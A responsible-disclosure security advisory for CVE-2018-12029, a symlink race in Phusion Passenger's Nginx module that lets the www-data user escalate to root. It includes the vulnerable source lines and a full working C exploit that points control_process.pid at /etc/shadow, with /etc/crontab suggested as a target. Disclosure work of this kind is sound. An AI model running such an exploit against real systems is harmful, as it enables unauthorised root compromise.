Phusion Passenger chown() race privilege escalation (CVE-2018-12029)

Jun 13 2018

Phusion Passenger’s Nginx module is vulnerable to a privilege escalation vulnerability when run with a non-standard passenger_instance_registry_dir configuration. A vulnerability exists when creating the control_process.pid file, specifically when the file’s owner is changed from root. An attacker can use this behavior to escalate privileges from the www-data user to the root user when Nginx is restarted.

Title: Phusion Passenger – ngx_http_passenger_module privilege escalation
Date Released: 13/06/2018
CVE: CVE-2018-12029
Author: Denis Andzakovic
Vendor Website: https://www.phusionpassenger.com/
Affected Software: Phusion Passenger < 5.3.2 – Nginx module

Privilege Escalation

The Passenger Nginx module creates a control_process.pid file and uses a chown system call to change the owner to www-data. By changing the control_process.pid file to a symbolic link after the files creation but prior to the chown call, an attacker may change the ownership of any file on the filesystem to www-data. The following extract from the ngx_http_passenger_module.c file details the issue.

449 	if (create_file(cycle, filename, (const u_char *) "", 0) != NGX_OK) {
450 	result = NGX_ERROR;
451 	goto cleanup;
452 	}
453 	do {
454 		ret = chown((const char *) filename, (uid_t) core_conf->user, (gid_t) -1);
455 	} while (ret == -1 && errno == EINTR);
456 	if (ret == -1) {
457 		result = NGX_ERROR;
458 	goto cleanup;
459 	}

The passenger_instance_registry_dir (which sets the passenger temporary directory location) needs to be set to a directory controllable by the www-data user for this vulnerability to be practically exploitable. By default, the Passenger Nginx installations are not configured in such a way that this race condition is exploitable,however non-standard temporary directory configurations are not unusual. In the exploit proof-of-concept code detailed on the following page, the passenger_instance_registry_dir was set to /opt/mytmp, and configured as follows:

~$ ls -ld /opt/mytmp/
drwxr-xr-x 3 www-data www-data 4096 May 9 23:06 /opt/mytmp/

The following proof-of-concept waits for the creation of the passenger-<random> directory and replaces it with a new directory structure, including a control_process.pid symbolically linked to /etc/shadow. An attacker that controls /etc/shadow can manually set the password for the root user, effectively achieving privilege escalation. Please note, if testing this POC the /etc/shadow file will likely be overwritten with the Passenger process ID. /etc/crontab may be a wiser target for practical exploitation purposes.

Proof-of-Concept

~$ ./privesc
[+] watching /opt/mytmp
[+] read 48
[+] Got name: passenger.JyOTuQI len 32
[+] Attacking: /opt/mytmp/passenger.JyOTuQI
[+] Race won? Check /etc/shadow
~$ ls -l /etc/shadow
-rw-r--r-- 1 www-data shadow 5 May 9 23:28 /etc/shadow

Proof-of-Concept - Exploit Code

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>

#define BUF_LEN (10 * (sizeof(struct inotify_event) + NAME_MAX + 1))

extern int errno;

void create_dummy_dir(){
 	if(mkdir("/var/tmp/passenger-privesc", 0755) < 0){
 		printf("[!] mkdir failed: %s\n", strerror(errno));
 		_exit(1);
 	}
 	if(mkdir("/var/tmp/passenger-privesc/web_server_info", 0755) < 0){
 		printf("[!} mkdir failed: %s\n", strerror(errno));
 		_exit(1);
 	}
 	if(symlink("/etc/shadow","/var/tmp/passengerprivesc/web_server_info/control_process.pid") < 0){
 		printf("[!] symlink failed: %s\n", strerror(errno));
 		_exit(1);
 	}
}

int main(){
 	char * passenger_instance_registry_dir = "/opt/mytmp";
 	int tlen = strlen(passenger_instance_registry_dir);
 	int inot_fd, w;
 	struct inotify_event * event;
 	char buf[BUF_LEN];
 	char * p;
 	ssize_t len;
 
	create_dummy_dir();
 
	char target_path[strlen(passenger_instance_registry_dir) + 19];
 	memset(target_path, 0x00, sizeof(target_path));
 	char junk_path[strlen(passenger_instance_registry_dir) + 6];
 	snprintf(target_path, sizeof(target_path), "%s/passenger.XXXXXXX",
passenger_instance_registry_dir);
 	snprintf(junk_path, sizeof(junk_path), "%s/junk", passenger_instance_registry_dir);
 	
	inot_fd = inotify_init();
 	if(inot_fd < 0){
 		printf("[!] inotify_init() failed: %s\n", strerror(errno));
 		return 1;
 	}
 w = inotify_add_watch(inot_fd, passenger_instance_registry_dir, IN_CREATE);
 if(w < 0){
 	printf("[!] inotify_add_watch() failed: %s\n", strerror(errno));
	return 1;
}
	printf("[+] watching %s\n", passenger_instance_registry_dir);
 
	while(1){
 		len = read(inot_fd, buf, BUF_LEN);
 		printf("[+] read %zd\n", len);
 
		for (p = buf; p < buf + len; ) {
 			event = (struct inotify_event *) p;
 			if(event->name[0] == 0x70){ // check the first character is 'p'.
 				printf("[+] Got name: %s len %u\n", event->name, event->len);
 
				memcpy(target_path+sizeof(target_path)-8, event->name+10, 7);
 				printf("[+] Attacking: %s\n", target_path);
 
				rename(target_path,junk_path);
 				rename("/var/tmp/passenger-privesc",target_path);
 
				printf("[+] Race won? Check /etc/shadow\n");
 				goto end;
 			}
 			p += sizeof(struct inotify_event) + event->len;
 		}
 	}
end:
 	return 1;
}

Disclosure Timeline

14/05/2018 – Vulnerability disclosed to Phusion team
15/05/2018 – Response from Phusion, advising they need some time to review the code base for similar vulnerabilities.
26/05/2018 – Update from Phusion developers, release is still under development.
06/06/2018 – Update from Phusion developers, release is planned.
08/06/2018 – Update from Phusion developers with the CVE number.
13/06/2018 – Phusion Passenger 5.3.2 released
13/06/2018 – Advisory released